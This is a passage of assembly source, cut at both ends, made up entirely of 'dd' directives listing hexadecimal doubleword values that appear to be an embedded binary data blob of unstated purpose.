0E7B942Fh, 0E1EF17AEh, 0ABD67860h dd 80A0C6CEh, 0A14CC953h, 46948158h, 7EDCFB44h, 7766003Eh dd 0C38C7356h, 741C6283h, 9EC24F9Ch, 80EF06A3h, 1D3C3B80h dd 288858EAh, 64D64701h, 0D4AA5F86h, 7930A5A7h, 38B4E8E4h dd 53CC0946h, 0BC00E38Eh, 0F25CB3A3h, 2267AD00h, 64B9D19Ch dd 6DE000FBh, 0BBAB4FCCh, 900840Dh, 0E476DE69h, 1D0A9859h dd 400B4A32h, 0A5ECC4AFh, 0BAF069D2h, 0DD87DA24h, 9A06D400h dd 0FE6223h, 84C70397h, 4B2CAA98h, 5F5E002h, 8074CAE7h dd 0F71A88ACh, 61F2011Bh, 7B05749h, 0BA24CC4Ch, 0DD3B9600h dd 0EF894363h, 0FC380F7Ch, 85005E0Ah, 98341093h, 7BAA7703h dd 0A5FBD58Bh, 73D2EC05h, 0BD4FAC01h, 3EE813B6h, 0ED1D0F2Dh dd 2CC0FFE4h, 0B793B59Bh, 7F753F1Dh, 0E60177C0h, 1CD39E8Ch dd 7DC3DC84h, 65F7D0h, 43E8A11Dh, 9C31512Dh, 6F07C500h dd 21455EFh, 501B0039h, 0CBDE0CF3h, 671D9166h, 19C0364Eh dd 0EC0E260h, 0C348036Ah, 34F08E25h, 0D88191B1h, 0E10017A4h dd 4E2A280Ch, 962946h, 0BCC07D79h, 70594456h, 9C89B301h dd 1E3B1227h, 46B7EC80h, 6621EC26h, 86C62B00h, 3A10CADDh dd 0B4874C3Bh, 0AB89AE80h, 2D009197h, 0B2E32102h, 13CE687Dh dd 7FDCB0Ch, 60B657B8h, 80A9D990h, 2B002490h, 0B046EACDh dd 5A10227h, 0B061B6Dh, 0A8D10033h, 81977A42h, 0C499C700h dd 7D1F66E1h, 0A152006Dh, 2196EB06h, 0F900A787h, 0F8F6C3FCh dd 0BD319Dh, 0DCBF2A80h, 4E97597Bh, 5E9AB800h, 0D21535A6h dd 0CCA8A068h, 0CDE22E1Dh, 0FF4E0014h, 0D0BDAC05h, 0BB4C7A00h dd 0DDCAD43Eh, 993F0075h, 0DB36B24Dh, 0BA281622h, 5B00F352h dd 0C651B96h, 338A3FAh, 3FB57F30h, 42885C2Ch, 9D0BCB7Dh dd 608855h, 5BBCDD64h, 3F9607D7h, 0F05A86C4h, 0FB5C39F9h dd 59B1C700h, 79D6EF44h, 64D3012Fh, 8960C26Ch, 20D0E0BDh dd 0F43E6913h, 0B0A1AC00h, 0CFC802h, 932C41B8h, 0AB987B64h dd 9707609Ah, 2EC612E1h, 409E6541h, 4AE5F4h, 0EE89BFECh dd 13F005F9h, 0B7004CB8h, 21D0A0D6h, 727328h, 0CBD83B67h dd 4C2FE10Fh, 9F705809h, 3D9D74DFh, 1C5788Fh, 0FC005BC9h dd 32177D57h, 90AA050Bh, 6764801Dh, 6B2624h, 5291F487h dd 77D2B22Ch, 8EC89300h, 0A0D0EDA1h, 7A1F1823h, 988C04Fh dd 0FC1A4600h, 5EB01B7Ch, 0E3EC25h, 0D8A1B683h, 8FD44B41h dd 0A872B102h, 0C0A9B576h, 792A634h, 0ED1F88Ah, 8575D05Eh dd 4902EE07h, 7EB51140h, 0FEFCE0CDh, 0B7AB0CB2h, 53832D1h dd 3597BD00h, 0DF5ECC0Dh, 0B0C00054h, 0D845B3E6h, 88B82A69h dd 86062E00h, 76EBCD23h, 0ED94003Fh, 5E7389DAh, 0B800016Ah dd 6EDDD571h, 7363199h, 0B768C327h, 35FAB075h, 5C0017C9h dd 78690C58h, 5C48A4ACh, 0FC0C4162h, 0A038DF80h, 21CB4400h dd 0C9FEECB1h, 3AF2F8h, 0F76DB63Dh, 0C025ED15h, 0DE801418h dd 0F2C230h, 8D22DD0Dh, 25A3C384h, 36500507h, 4800ECB9h dd 0E063A9E0h, 2AB0094h, 1646E4D2h, 0EE50F9CFh, 7E2E29F8h dd 0BA13B0F6h, 570FF801h, 61808C0Eh, 5FF0329Dh, 72005C41h dd 0DCE8551Bh, 24B7CC14h, 988ED7h, 0A57A2DE6h, 0C200F05Fh dd 44BF18E8h, 0A7C1D0h, 49C6319Ah, 72705560h, 7877F3Bh dd 0E8EA02D1h, 1A083AE0h, 0C920008Ah, 0B839177Ch, 5D3A7926h dd 0DC04803Bh, 0AD21973Eh, 607D0FE8h, 34E487A7h, 2F4C8273h dd 41BE9C48h, 0BAC0A300h, 85BF016Eh, 0C7E20222h, 751EB2FBh dd 708C4660h, 8803F82Eh, 8078730Bh, 46F4311Dh, 2F4C907Fh dd 1AC254C8h, 5E80940Eh, 6F1BAC10h, 94348h, 0CEEC79A0h dd 5B4B14h, 0D68C29Fh, 509BF148h, 0E4267D03h, 881C5334h dd 14479h, 5995EAAEh, 687A54A9h, 64F3475Ch, 0F2C01DFAh dd 12C70E39h, 3A9152h, 8F454C4h, 300A994h, 0CDDF442Eh dd 3BCBC0h, 0E2D5658Ch, 75EDB9C9h, 0BABE2300h, 89C00C33h dd 4DA600E9h, 0D6819A98h, 2B12177Bh, 34C03237h, 58F51451h dd 0AE00DDC8h, 22FEF975h, 3A09C43Ch, 8077EAE9h, 0EB486BB8h dd 8CB00181h, 56DA1C72h, 0DBFBF890h, 0A0C15177h, 0FC6BE935h dd 601434h, 0A7CD779Ch, 0CF949E63h, 0FC864324h, 0D288D906h dd 770C00D0h, 0DCFFCDC1h, 6F3F50BBh, 0A2C981B9h, 2FDFE022h dd 4D3E968Bh, 3D5F3402h, 2CE43452h, 1A6469C0h, 71223A2h dd 3048AE7Fh, 0C497E0BDh, 98C01179h, 0E54EE691h, 3ED5780Bh dd 0CCBE5373h, 0DDCEFB82h, 284039A5h, 75003D55h, 90F2EF22h dd 3C1234E0h, 6724F1BBh, 6513001Bh, 0AC5E4A42h, 0D7DCA01Eh dd 7157440h, 58CEFEB1h, 860050EAh, 0F68A320Eh, 9B1334F4h dd 7C001FEFh, 42668970h, 60FA5C46h, 4E7D1800h, 295CF86Bh dd 84B13Ch, 98999087h, 30F9658Ah, 41E0E0F5h, 62035D52h dd 0DA3F3B51h, 76F9009Ah, 69B5515h, 0AA006043h, 0C1F81B1Ah dd 1C659D78h, 81960FCEh, 0A8AF74A6h, 344280Bh, 7F223558h dd 999E91h, 956E5D24h, 0EDD9A9DCh, 26611A39h, 0B002CF4h dd 0E4A6721h, 37F5139Fh, 52B90160h, 0CD5CD108h, 51B040D9h dd 601B0FEh, 0C3A713B1h, 0D450D6BDh, 3FFF59h, 8520E1DDh dd 132EF0C2h, 8605A52Eh, 12700307h, 1797BB80h, 381B2CECh dd 835A9D48h, 41ADFA79h, 0A2898803h, 0BB269AE4h, 84C1C13Eh dd 0B7C170h, 3085B534h, 0EBE7A9D7h, 7FD5B802h, 86C954EAh dd 2EB123F8h, 21F9934h, 87C72F26h, 6E783CC0h, 50580D2Ch dd 4497F700h, 24196884h, 39CCAED3h, 33E4F180h, 0B86DEF6Ah dd 0C6002D74h, 441D5DBBh, 480A3455h, 473D4C8Bh, 0A8611614h dd 4BD43D78h, 6C56240Ch, 5E0015D1h, 0C25C2951h, 0FC93B355h dd 0AEE50012h, 0CC476401h, 0F600AB35h, 0A5BE92A0h, 0F4C60362h dd 334100DDh, 0BD9808A7h, 0A00C9ABh, 0D9CA4C6Eh, 0B547425h dd 13BC597Ch, 209BBCA0h, 9A1CA4D2h, 0A6C162BDh, 1F4FEB42h dd 0BADC30h, 0C2C67BB6h, 4CD13B9Fh, 0B1813400h, 7D629844h dd 1B6059Ch, 0C163799Eh, 21AECB84h, 91F3C8E8h, 0D36A80h dd 9E576223h, 0AA357826h, 705C6800h, 0ACA3B730h, 153F1D01h dd 68DC07Ch, 25BA8EA6h, 2CF3BD02h, 0E8423DEDh, 0AF4A385h dd 98E362B4h, 0DF701FA0h, 67FA8771h, 4112D060h, 1E70DA30h dd 0DCEE4EBh, 4902E9F8h, 0BA58E0BDh, 136840EBh, 337D70h dd 0C96B5EEAh, 0A81B31B2h, 0BCDF9200h, 446141F2h, 4A01406h dd 127EC33Eh, 42935B85h dd 79C373D0h, 2871FD00h, 925609FAh, 384032DEh, 0BD1EDA82h dd 1412B0A9h, 754FBC02h, 8A70C81Eh, 0B9F401E0h, 64FBD2ABh dd 368820EBh, 33DBB58h, 73A77BAEh, 0CB193B5Dh, 80C407A4h dd 0AE60631Fh, 0C98AF12h, 2B75B04h, 24D0BECEh, 3E83FF56h dd 90509D51h, 5BC0C727h, 0FA6290BBh, 95022FD8h, 244B2550h dd 7818665Fh, 0E17F3AADh, 18778B80h, 1B57B84Ch, 31714418h dd 120F1588h, 0C1D5E476h, 200A2A3Ch, 83007160h, 0C3E1EC82h dd 7420EFB3h, 0B031010Ch, 93A73C5Ch, 6F86D045h, 65E93700h dd 7308E69Eh, 2B520083h, 0D2A4F98Dh, 7202DCD4h, 6E96E462h dd 8824C340h, 0FE3AA41h, 82E6289Fh, 5BA60960h, 4500F3BAh dd 0B5FEAC07h, 7C358ED0h, 12D21311h, 0AE504918h, 38BC6180h dd 62581798h, 19A850ECh, 0F2AADD00h, 49752C1Ch, 70F700AEh dd 0F8907785h, 9E00E113h, 17598EFEh, 0DC1520A0h, 0D91D0F68h dd 0F527C320h, 0B800C513h, 0D18EB654h, 94485E2h, 80F7E1E6h dd 3A95A800h, 1D16D90Ch, 960A5CBAh, 2CBBC8A4h, 9B00247Ch dd 0EBB5AC8Ah, 0EEE9E825h, 0FC190002h, 0D909C67Dh, 0B1001B7Ch dd 586DBB24h, 4CB659h, 7F561C81h, 8294110Fh, 6100EFF4h dd 0DAAF333Eh, 5816C89h, 4359DBCDh, 7818C1F8h, 246BE47Eh dd 0EBD54403h, 2396717h, 48532E78h, 8C8FF181h, 5844807Eh dd 0E715EE6Dh, 0D81FC507h, 6813E94h, 0B4D84F3Fh, 349C0E21h dd 0E6097D7h, 577D4228h, 8D2F1400h, 63B8F2FEh, 5E9401CCh dd 0F60CF9CBh, 9940606Dh, 684D5D00h, 0B6D1BEFAh, 663C275Fh dd 0B02C88h, 0C07509A3h, 1E00DB37h, 0E076D642h, 72FCC7h dd 87E2B424h, 7A30C019h, 7D7BAA0Eh, 574F1FA3h, 99374074h dd 0DEC53h, 2FDBA680h, 8FA42398h, 0BD33F50Eh, 551B406Eh dd 0B05388B5h, 78D04879h, 0E22F7901h, 400DC040h, 7B981DBCh dd 0F3052602h, 40EFDA95h, 796C2FBh, 8F4AE102h, 60BEF7DBh dd 171AFF3Eh, 33500C00h, 0CDE374D7h, 0F8AB172Ah, 2E4D0091h dd 3DCAD6EAh, 5657F326h, 7CFA451Eh, 34230802h, 40B04F9Eh dd 8C751108h, 0DE10A60Ah, 1200E8B4h, 7D6B3F90h, 0A9F51869h dd 25E7B8FCh, 762DB701h, 26282FEFh, 30E668DCh, 0AF90F1CFh dd 0A3005D8Dh, 93060321h, 0B8D497EAh, 6C920F6Ch, 0C0DC8AB6h dd 0EF2E69D3h, 607989Ah, 11F8D9E7h, 0D0D857D3h, 0F97FAE0h dd 96354859h, 1E185860h, 0A91E0B2Eh, 44FF510h, 8F9C079h dd 2475F17Bh, 0BC630Dh, 0BBB81524h, 32003EA3h, 0ABBC0F29h dd 1D2E85h, 64FC2380h, 0E0D59B4Dh, 0C0DE686Fh, 0D3F848C5h dd 80509C6Ah, 0F6D3D91h, 4200679Bh, 418CE6B5h, 9EB25ECAh dd 0A1D40C4h, 471F0636h, 334077C4h, 6EE45305h, 3AE20099h dd 0E6DD1881h, 920296BBh, 73673948h, 5E07E0D1h, 3E1FE402h dd 138984BDh, 8E2719Fh, 302BC1C1h, 0EF0092D0h, 180D0116h dd 74D58D7h, 0AC536DBEh, 0CC5520AEh, 8B006B62h, 0F351435Eh dd 13A71A0Ch, 955287h, 0E6B09694h, 0AE77396Ah, 0CD74FB00h dd 0FEB9265Bh, 681E001Ah, 0EC43B57Fh, 4E02712Fh, 8C454DF2h dd 3C606070h, 0BD2E0764h, 0C05753A6h, 778197CDh, 5A397D00h dd 0C2CCD44Ah, 0B6A006Eh, 0F8B4E37h, 0DD7BDA3Eh, 0A73AEAF4h dd 29AC80EBh, 867A0247h, 96550182h, 66118359h, 0A2402805h dd 0BA89403Ah, 405E5CEDh, 0F62A4904h, 0F4E8E091h, 0DB5AD600h dd 0ADE6C694h, 346C3FA7h, 5BC83C80h, 79CE4707h, 44EA5000h dd 75A0D7ECh, 0ABE5284Ah, 9A9B26E0h, 0FE500050h, 0A0D926BFh dd 16F8D3Ch, 1F45E4BEh, 0F3F45E13h, 5BD0000Eh, 23A248BDh dd 0FFF4E71Ch, 3138B5Ch, 7FCF1927h, 7DE39892h, 6F472EAFh dd 800D9FA0h, 6D1C7C7Eh, 101EF38Dh, 57C70341h, 2099873Ch dd 6895DDB0h, 2940384h, 467704E7h, 82D5210Fh, 679800FEh dd 2D2BE89h, 21E26CD9h, 0D8E06F9Ah, 0B774941Ch, 5C7AD480h dd 623AAA7Bh, 8FCB1702h, 10802621h, 0A9A0630h, 28C20C01h dd 17C3ACF4h, 30E179D0h, 47507387h, 6260414Dh, 0D368E4C1h dd 90FA3AF2h, 3CB1C500h, 0FDCD8EB8h, 0F5F74C00h, 0F97AD6BBh dd 0DCEE00F3h, 0B733C7BDh, 731CF8F0h, 0E70EC2CAh, 2DA08054h dd 1FB8F924h, 0C093A9D3h, 64A33516h, 977DBAECh, 34CE300h dd 9E3AC3DFh, 0E28603D9h, 8844452Fh, 8CFB4A1Dh, 0EF40991Eh dd 0E321A5D5h, 0F5A203B5h, 484BE9F1h, 46992810h, 9100CDC8h dd 0D75E679Fh, 9F6EAA6h, 2E9C33CFh, 0AB34FE80h, 0F90049D4h dd 0C425081Ch, 0A18B4Ah, 30D0AC9h, 0E5A88B8h, 60A6DA00h dd 1D624DD1h, 89933EF5h, 0E5CB5801h, 0D89808E9h, 0AA065278h dd 7E1B0C31h, 0DA390038h, 99C95949h, 8B007B58h, 0D2269D1h dd 0FFEC98h, 0B5F0A35h, 45DDE175h, 0CCE18C1h, 6087947Fh dd 81CC4876h, 0E38E6911h, 2C1C3C8h, 874570C1h, 9050814Eh dd 50D3D3Ch, 914B85D4h, 0C801FE1h, 0CA089263h, 89C3A178h dd 3C231CCEh, 57863B51h, 0B060B6BDh, 871B5800h, 3C98109Bh dd 7F0430DDh, 0E9C4C761h, 0C9398DF8h, 4084060h, 0D476DB6h dd 0D76A80F7h, 440E7E8Bh, 0C6CD60E5h, 6061CB1Eh, 5D317110h dd 0B9005564h, 4C29DAE4h, 33248B2h, 0A08EF894h, 0A288A753h dd 3C07A116h, 0E020F108h, 0B34540F0h, 0ED420366h, 3ED6D5EBh dd 0B5E1F7A0h, 5BD1FA00h, 86F49220h, 32FE00ABh, 4A88CBA2h dd 0CF585254h, 38C13DDAh, 9FE49F09h, 0E3B19503h, 0FD41C84Eh dd 1237907h, 0EBDE2F96h, 60985FA4h, 9300797Bh, 67B8414h dd 779B53h, 0B1D8FED1h, 6AECBFF4h, 80A22B39h, 243DE7AEh dd 1D70B275h, 80D7CF0Bh, 9E101451h, 2C3AE060h, 99C07D8h dd 37D107ACh, 5824FDDFh, 9104A045h, 0E0ECA341h, 0FD60522h dd 392ACB1Ah, 0EC089FA0h, 50900AF6h, 93679100h, 6021D75Fh dd 0C529C4F8h, 3E964444h, 8A422348h, 0AB125F6h, 1114ED28h dd 733C6Fh, 7527A97Ch, 5A0CCD0h, 0C577AFFh, 7273C032h dd 0AE002089h, 8ED89E26h, 615D3Ch, 0E9C37616h, 75211729h dd 2A9D5C2Ch, 65F7803Ah, 9977A7Bh, 8D82000Ah, 0EEE206FDh dd 5702AE78h, 0EC652217h, 0D98080E4h, 0B03E8536h, 78D300ADh dd 5446BE47h, 73001096h, 0AAC223D0h, 0F874118Dh, 0B2700F8h dd 44C0BD77h, 89F66A47h, 3F00AD7Eh, 91DAEC82h, 0D81EFBh dd 0F8C0D2C7h, 3E445234h, 9EEC509h, 1329002Dh, 0E07C498h dd 5626FACh, 0B421C320h, 2A01270Ch, 8DA6F59Eh, 31A604CAh dd 0DC620F68h, 5116B960h, 0E300D9BFh, 832C866Eh, 969C9h dd 67D14A79h, 0AB9E3E4Bh, 0D07EE8C0h, 742039h, 4D181643h dd 0D12EC088h, 2606D00h, 45C1B015h, 28A978F3h, 1EAB9BC6h dd 8032A02Bh, 0E84E80FDh, 813A5FD6h, 284607CCh, 3E60970Ch dd 2B89DEh, 2740AC5Dh, 5FB4C9D3h, 0D73B5E03h, 0B8F26B4Eh dd 0A4E579h, 0BA14DE0Ah, 5843C750h, 9DBDD70Fh, 405E0CDh dd 0BAB73E0h, 5E440C1Fh, 0C0888A84h, 0CEB999C2h, 725D1702h dd 6021AD8Bh, 55CD00h, 4A95BCB7h, 37C8CBCAh, 0B08AA90Eh dd 0C5CCC097h, 781AB02h, 0EAFF1FAEh, 51C4E09Ch, 100EC30h dd 0B8D6981Eh, 73A26F3h, 2D388186h, 9661300Ch, 873EBC5Ah dd 0F155000Ah, 0E72278E8h, 0D5C500D8h, 675C9208h, 57D75B6h dd 0EAAFE1Eh, 153AC640h, 4849DCh, 0E0DE7A83h, 0FD106552h dd 0F27F7200h, 9412849Bh, 7C73FB2h, 970DC900h, 9E60F953h dd 0C5A4291Ch, 461EA700h dd 908BB3h, 0CD1F31FAh, 6396AE76h, 3B17E100h, 0C5BAE024h dd 1B4A3C28h, 7EC70200h, 725A911Dh, 8329350Eh, 0ABBE00C8h dd 0CFE612Bh, 9B179381h, 0FCE98558h, 3900978Fh, 2C4FBA5Dh dd 1DAF6C45h, 400C8D2Eh, 25579A6h, 8200DBA8h, 8C43C368h dd 13881566h, 0E92ECC8h, 0F8650D18h, 98907C1h, 4143054h dd 5900EFC7h, 0AB051107h, 14EEFEEDh, 8D263F61h, 718E0600h dd 0D85A43ADh, 0B8FB9528h, 0C1450303h, 0A0BED78h, 0F36BD610h dd 0EE1B00C0h, 961402F4h, 0C6711907h, 26433412h, 0F08DE8F9h dd 0E9543EF2h, 98B95C03h, 94807DA5h, 90091E21h, 0FA491Bh dd 0BD1852C0h, 6D4D00CFh, 9A26B0E9h, 7B00FD30h, 29BB0968h dd 75706748h, 9B80008Dh, 0F856A03Ah, 0E700C79Eh, 793C92B5h dd 7DBCE4Ch, 0A4060FEBh, 0E43D7068h, 0A300EDC7h, 0DECA674h dd 2B91EAAh, 0A7E04D6Dh, 4600912h, 0A53FA071h, 0CBAC0E23h dd 0E68C608Eh, 923F21F3h, 3BE200F0h, 0F5479962h, 0D7000E2Eh dd 5A2FB4Ah, 4179F3h, 67FCB5A8h, 4D8FF9ACh, 0FBEE5900h dd 407FA49Bh, 0D57D13E8h, 550001Fh, 0C18D040Ch, 744B4Ch dd 0FD0314B0h, 9FB27Ah, 0FEE3A112h, 0B556402Bh, 0F51F2E0Ah dd 4E00E397h, 5127BB1Ch, 0A92D00FEh, 9ABA8565h, 3E7BFFA6h dd 7806AD02h, 80019359h, 4C2213D4h, 0D2872C33h, 7C298FD4h dd 8C6220E0h, 0C90072BBh, 0F58F5182h, 985B9568h, 7874FAh dd 0B3F8D7A6h, 0D4A7E525h, 0B5F42B0Bh, 92DF8015h, 0CA45A9h dd 0EAC27C8h, 11580CFEh, 0EECD7300h, 0D3E09483h, 7966008Bh dd 0E87E4CD5h, 0A001DAC7h, 2E4D6B7Bh, 0AC045BCh, 77523DF0h dd 0AE4F9Ch, 9E1A8012h, 20982248h, 58B52D0Eh, 0A7696061h dd 0BF972330h, 0A9BAE380h, 0E2072471h, 24F9A63h, 69B7A75Fh dd 8C10EA80h, 0B37E00E3h, 79C5735h, 613E265Ah, 8C0A2818h dd 267AB63Eh, 0C8D12088h, 538C20h, 0AEB4E664h, 0C4B8934Bh dd 0FDA59B00h, 3909F5C6h, 94F003E0h, 0ED011411h, 22C19CD0h dd 21FCEC00h, 2F7C1C91h, 16FA4Ch, 0E45A944Bh, 80994F55h dd 0DF05EF00h, 92443657h, 3DC978E9h, 0D480B891h, 0BAF74EC3h dd 5678123Fh, 0D69CED0Fh, 0DC926037h, 2C0DFD89h, 88CBFFh dd 0BD8983Fh, 0AA0965F0h, 0B94ED5h, 0B14CDE30h, 0BF2407B2h dd 9779FCDBh, 5420590Bh, 7270FD48h, 3DF50200h, 0F7235AA4h dd 12098F4h, 626B9D56h, 6004D746h, 7003A7B0h, 0CE4BC6BBh dd 41D0B852h, 83F200D1h, 0FEEA0E48h, 0E5023E29h, 1D18A585h dd 60E842C6h, 0E0B402Eh, 39171DDh, 0A7A4303Ch, 0B318BF54h dd 0F68D94Dh, 0F28F07A1h, 3091E4D4h, 9DF46ADh, 81BA2200h dd 7D3A9D0Bh, 501002Ah, 7B5569A5h, 5B1DDE16h, 0EF80F1ACh dd 0DBA90966h, 72BD004Dh, 0F98428A4h, 0E004CDFh, 0B733290Ah dd 7CB93C4h, 771C312Bh, 41A0CF42h, 46612C30h, 0A06DD60Bh dd 0DF7980A4h, 2BD4FF9h, 0C4729133h, 9C423FB7h, 0E9790047h dd 3300650Ch, 90EC1B52h, 53EE634h, 0EA7AD718h, 0D29C006Ah dd 0F8C30FB6h, 17B03500h, 5324926Fh, 7461006Bh, 56BDD608h dd 0CC984528h, 769C48h, 0DE6B14A8h, 9DF596h, 0E92DC9B9h dd 359BFE0Ch, 0FC17400h, 6B21E6B0h, 70500E2Ah, 882392EEh dd 80003B1Dh, 66A3180h, 0DBAF05h, 1A43EA5h, 13789420h dd 24004AF6h, 515C0C11h, 0EE6584C9h, 1CF7003Ah, 0D4F658B9h dd 50C09CD3h, 3001E7ADh, 6EA800B4h, 0A3D95987h, 0D756A908h dd 340F01D4h, 114B557Ch, 3B450434h, 878223EBh, 4106E7Dh dd 8B8E5CC0h, 0E66D9328h, 0DAFFF700h, 57692BE7h, 28F9711Fh dd 981089D0h, 86910784h, 0A0547A79h, 215C6312h, 60CECD30h dd 245B88h, 0A2FDEF48h, 0DA2D4FC4h, 803E2531h, 0AFE33FCAh dd 594C4261h, 220C2439h, 4F41CD7Ah, 0C9A8B607h, 0FC406665h dd 189231Ch, 2131F2B7h, 0E4BA3D62h, 0B00C6427h, 2851FCFFh dd 448D24DAh, 0EAA18730h, 384AA0h, 7664850Dh, 2198A994h dd 0C43C3E50h, 0C9F520C0h, 0A0054D96h, 0EB6BC0Ch, 14010CEh dd 56CD2760h, 30EB089Fh, 0A40030F2h, 0D9BCEFB9h, 86B007h dd 0D075FD49h, 980F1FB8h, 77CE3C00h, 62919438h, 0FA8200E3h dd 0B7C8D674h, 40A85D8h, 8CC62A25h, 6C420C3Ch, 45788Eh dd 0D7158427h, 48804168h, 0E81DB300h, 118A69Bh, 6E143A8Fh dd 89D93103h, 0B01EF7FEh, 45407217h, 594A34Ch, 74968Ah dd 0D2E39DE0h, 1F00CDE5h, 0E6E94054h, 980B87h, 9FF6C8Ch dd 0C1FD2B11h, 0EDE8601h, 3BE51683h, 1F994180h, 8CC04F10h dd 2F06D900h, 0B83F0148h, 0FFC0E122h, 658D0E6Fh, 0E52A9199h dd 0B63380E0h, 56635B7Ch, 0CE329302h, 90DA47C0h, 3D06CF0h dd 7E66DE8Bh, 8801A8BCh, 19CE3777h, 27E0F10Dh, 0B581C043h dd 0EC5F3AAEh, 400A1C00h, 14C003DEh, 508B0063h, 51FA8321h dd 2A00C44Dh, 0D7575F29h, 1FC3CEE6h, 0B76DEh, 0E281DF49h dd 0D300D906h, 0FA45B0D6h, 3E5CFFE4h, 5FD5B8h, 8AC9B17Ah dd 0C4003D6Eh, 0A475C388h, 0EFFE335h, 0A9C8D281h, 0B2E70C77h dd 7886A28h, 68B8277Ch, 0A8008370h, 13367E23h, 0F670654Ah dd 0CF4D03F0h, 670D6997h, 0DB4440E7h, 0D4008A64h, 4055CCF9h dd 9E7EA7h, 0FB9D25BBh, 2D926EF0h, 69D7C800h, 0DAB5148Bh dd 580100F7h, 7884EFF8h, 850088F9h, 0CA55BC7Ah, 391F2675h dd 5B80B544h, 0F60F9D93h, 100C691h, 1D5D3302h, 1C6738E0h dd 80961629h, 0C8183112h, 7307B404h, 6B93D3B1h, 0CF694540h dd 0A4F800C5h, 3A125F4Ch, 1900CCF0h, 806F9830h, 1F74E52Ch dd 288E1D8Ch, 0E00600A8h, 2A6052FCh, 0E6399E7Ah, 7EFE00A7h dd 4ECFBC5Eh, 0E1CD079Ah, 0C02985C0h, 5C46F707h, 0C7AA2501h dd 0CBF5630Dh, 32F6AD4h, 1FBF156Fh, 0CC1D6EBCh, 9A8069FDh dd 6CD24250h, 950C5CA2h, 0EF31501h, 0D031C72Ch, 64ECABAAh dd 8CB81C00h, 98B6B09Ch, 0D8A93FCAh, 0E6AEC90Eh, 0F3979143h dd 4D006AD6h, 5BCC25B6h, 70688315h, 73190081h, 0A0DC1457h dd 38373F70h, 0BCC0E0CBh, 1F49594h, 1DC404AAh, 40BF8990h dd 362BF0B0h, 43608700h, 0EEFF249Ch, 0B5C70093h, 11A405A7h dd 0B0090DAh, 98AEBA9Ah, 7044ADh, 18C3CF8Bh, 53ABE354h dd 80F66339h, 448028A7h, 249F5F4Eh, 87044AC3h, 70EEBD42h dd 5CA47999h, 4F7F3D03h, 9F5304B3h, 6B1D83h, 60BB0628h dd 0C6BCD7C5h, 4081321Ch, 3100BDDDh, 6A256355h, 3EB7009Bh dd 0BBDD6628h, 2F3A5320h, 879F80E2h, 0DBAEF1BEh, 92D918FFh dd 94E3C140h, 0AD670812h, 0E20CF0h, 0BA7233C7h, 273B8F03h dd 2914011Dh, 794BFA00h, 5E93B4h, 0B5FEC3EDh, 8A54ABD7h dd 0EAD6BB00h, 1A416627h, 321500DCh, 2DE43859h, 0B700AD7Ah dd 28E10F7Eh, 3A3F4134h, 0FF80E819h, 7506D0CCh, 0A72F6586h dd 0F86FE61h, 0B4499F2Eh, 0FC6B0E00h, 0F00740Eh, 53701ED6h dd 0CD5084h, 0CEEAC2E2h, 0AFC065Bh, 60580D00h, 0B1F11F1h dd 1FC2E880h, 0C090E277h, 0AE7E8747h, 0D44CB1A0h, 80F73D14h dd 66A7033Ah, 3FA53268h, 5F8FFEA9h, 2D0FA6C9h, 3B4070E0h dd 5E01DB94h, 0F9671E84h, 3FF81C63h, 0EC7D0027h, 511936Fh dd 9F48AC0Eh, 66C7008Ch, 0E0F64E5Ch, 0DBC01F34h, 418C1C4Bh dd 0C4C5B9CDh, 5460C29Eh, 63743A79h, 0BE51683Bh, 50808038h dd 4ABDF628h, 48691231h, 1DC80754h, 0C01D0E6Fh, 0F8C743A2h dd 0DE00CB08h, 0CE7ED585h dd 48665C8Ah, 0BA008FC3h, 0EDE213B1h, 7324B5EEh, 301EE0D2h dd 0F485330Ah, 28119B00h, 1E9238E6h, 9CDFC5h, 0CFED84B8h dd 9F3A6AC8h, 1CAC011Ah, 9895EA87h, 0EE1D75E8h, 9B8A0BEDh dd 648048E0h, 520ABDDBh, 3B28F01Fh, 46A52DC0h, 3DED57D3h dd 3301E6AAh, 0DA2B57Eh, 0B020803Eh, 0E9D0AE4h, 77A43A03h dd 0CD369E00h, 0CE3335CCh, 0D61CA00Eh, 32B480C0h, 30D43016h dd 19B84895h, 0DA005D98h, 0FEC5FAD3h, 445055h, 0BFF52A47h dd 8D589ECCh, 89DC6902h, 0E074A81Ah, 0E404219Eh, 8CEAAFh dd 1811FDA3h, 0A6E0CBCDh, 0EE239900h, 0F3BC7275h, 402D0096h dd 148C9A2Eh, 0D4284F22h, 2F0088BAh, 0B90E0DF8h, 9878AEh dd 9644AFB8h, 6D698EF9h, 4DB07003h, 0D824855Bh, 0EF0F55h dd 71B989BFh, 755C6EB2h, 50E35A26h, 0B632A800h, 9024086h dd 0B395AABDh, 4CB28480h, 3100392Ch, 0D1E08BD3h, 746E31Eh dd 0D5D8CB4Ah, 2559F01Ch, 3100ACF8h, 5A5FEAD2h, 7C502A8h dd 96D6DC27h, 40BE106Ah, 223DE0E6h, 517B81FCh, 0A9E18011h dd 387A5B20h, 1200D695h, 822C8133h, 890456C9h, 21CEFC3Fh dd 0C018DB83h, 708F9C2Bh, 9232FA4Bh, 8EFA0098h, 0CD35CA81h dd 184CB96Fh, 0E43B025Ch, 41314F79h, 43D8D5D8h, 0D18200D9h dd 66D87784h, 0B43DC0CCh, 551800D0h, 0FD6F594Ch, 4CE4C43h dd 80F7A487h, 0A06D15BCh, 353B63Dh, 48A8028Eh, 0F53EB80Ah dd 947D9Ah, 77CC3A57h, 394021B1h, 0ACF09Dh, 0CF67C5F6h dd 43E6510Ah, 8D019E7Fh, 3493158Eh, 0BEC7156h, 0C263028Ch dd 74ADEE7Bh, 91CB2060h, 0AAB6A700h, 0DEBEB810h, 0E857004Ch dd 0EDF5D0D7h, 84B05948h, 0CF44AEE8h, 12F888h, 0BBC52699h dd 927F2DC6h, 0C9E58h, 51901CCDh, 0B35EAA6h, 3BD12B3Ch dd 0A38885h, 488DC110h, 1400AA9Ch, 2A9FA7C7h, 0BA0BD83Ah dd 62D90654h, 70DA633Dh, 0BFCF8500h, 0D4F6E4A1h, 0B4D1F959h dd 35A29B2h, 0EB012460h, 0FB3AF501h, 0EE664DC9h, 30598474h dd 5AB9D011h, 7B1D89C8h, 0DC0AB771h, 2A0E385Eh, 6F4BE1h dd 432E8AE8h, 35791D1Bh, 92740F38h, 397862ACh, 995A2805h dd 3000E39Ah, 886FAD18h, 0A2CA1CB6h, 8320C56h, 0C6007210h dd 0BFD6DE90h, 18A9E5A8h, 0D95A1362h, 40A009D7h, 4303D030h dd 2AD15F8Eh, 0DBC39098h, 0F688A608h, 8700845Ah, 490482D8h dd 7A9C7BFh, 0D7569C3h, 6BA203FAh, 1B08BBE0h, 87A56F17h dd 2CB4F800h, 15AAA9h, 